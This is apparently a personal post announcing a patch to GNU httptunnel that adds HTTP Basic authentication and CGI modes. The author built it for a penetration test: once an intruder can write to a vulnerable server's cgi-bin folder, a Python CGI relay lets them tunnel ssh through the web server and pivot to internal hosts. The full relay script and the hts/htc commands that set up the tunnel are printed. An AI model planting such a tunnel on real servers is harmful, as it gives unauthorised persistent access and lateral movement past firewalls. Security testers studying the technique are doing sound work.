I wrote this patch for GNU httptunnel 3.0.5. this adds the following functions:

  • HTTP Basic Authentication: Allows to authenticate against a firewall or a Web server
  • CGI options: For the client htc, a new option to enable the definition of a cgi-script URI. For the server hts enable the option not to send the HTTP return code (which must be sent only by the web server).

I wrote this initially to do a proof of concept in a penetration testing I did previously: if you can find a way to write to the cgi-bin folder of a vulnerable web server, you can then use this version of httptunnel to encapsulate any flows like the ssh protocol and rebound on other systems that can be accessed from the vulnerable webserver.

The server hts cannot be called directly by the web server because it must ensure input-outputs persistence. The idea is to use a small cgi which makes the interface between hts and the web server. I wrote a small script in python which makes this job but it is simple to do one in C:

#!/usr/bin/env python
# tun.py : cgi tunnel to httptunnel
# David ROBERT david@ombrepixel.com
import socket, string
import os, sys

# host where hts live
host="localhost"
# hts listen port
port=8888

stdin=sys.stdin
stdout=sys.stdout

def log(texte):
    f=open("/tmp/log","a")
    f.write(texte + "\n")
    f.close()

def processGet():
    # GET processing
    data = """GET /index.html HTTP/1.1
Host: %s
Connection: close""" % os.environ.get("HTTP_HOST")

    # Send headers
    for line in string.split(data,"\n"):
        sock.send(line+"\r\n")
    sock.send("\r\n")
    #log("Lignes envoyees")

    # Receive flow
    while 1:
        v=sock.recv(8192)
        if not v: break
        stdout.write(v)
        #log("recu : %s" % v)
        stdout.flush()

def processPost():
    # POST processing
    data = """POST /index.html HTTP/1.1
Host: %s
Content-Length: 102400
Connection: close""" % os.environ.get("HTTP_HOST")

    # Send headers
    for line in string.split(data,"\n"):
        sock.send(line+"\r\n")
    sock.send("\r\n")

    # Send flow
    while 1:
        v = stdin.read(1)       # Ecriture
        if len(v) == 0: break
        #log("lu : %s" % v)
        sock.send(v)

# __main__
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
if os.environ.get("REQUEST_METHOD") == "GET":
    processGet()
elif os.environ.get("REQUEST_METHOD") == "POST":
    processPost()
else:
    print "Boum"

# Fin
sock.close()
sys.exit(0)

How does it work ?
  • On the server, copy tun.py in the cgi-bin folder. Start hts in cgi mode (-C or --cgi), listen to port 8888 and forward connexions to local port ssh (22):
    • hts -C -F localhost:22 8888
  • On the client, start htc in cgi mode provinding URI to tun.py (-C URI or --cgi URI). In the following example webserver must be the name of the web server (IP address resolution must be possible). This name is also used in the HTTP headers sent by htc and makes it possible to select different virtual hosts.
    • htc -C "/cgi-bin/tun.py" -F 2222 webserver:80
  • If authentication (only HTTP Basic) is required to reach the cgi script, you can specify login:password on the htc command line:
    • htc -C "/cgi-bin/tun.py" -a david:noway -F 2222 webserver:80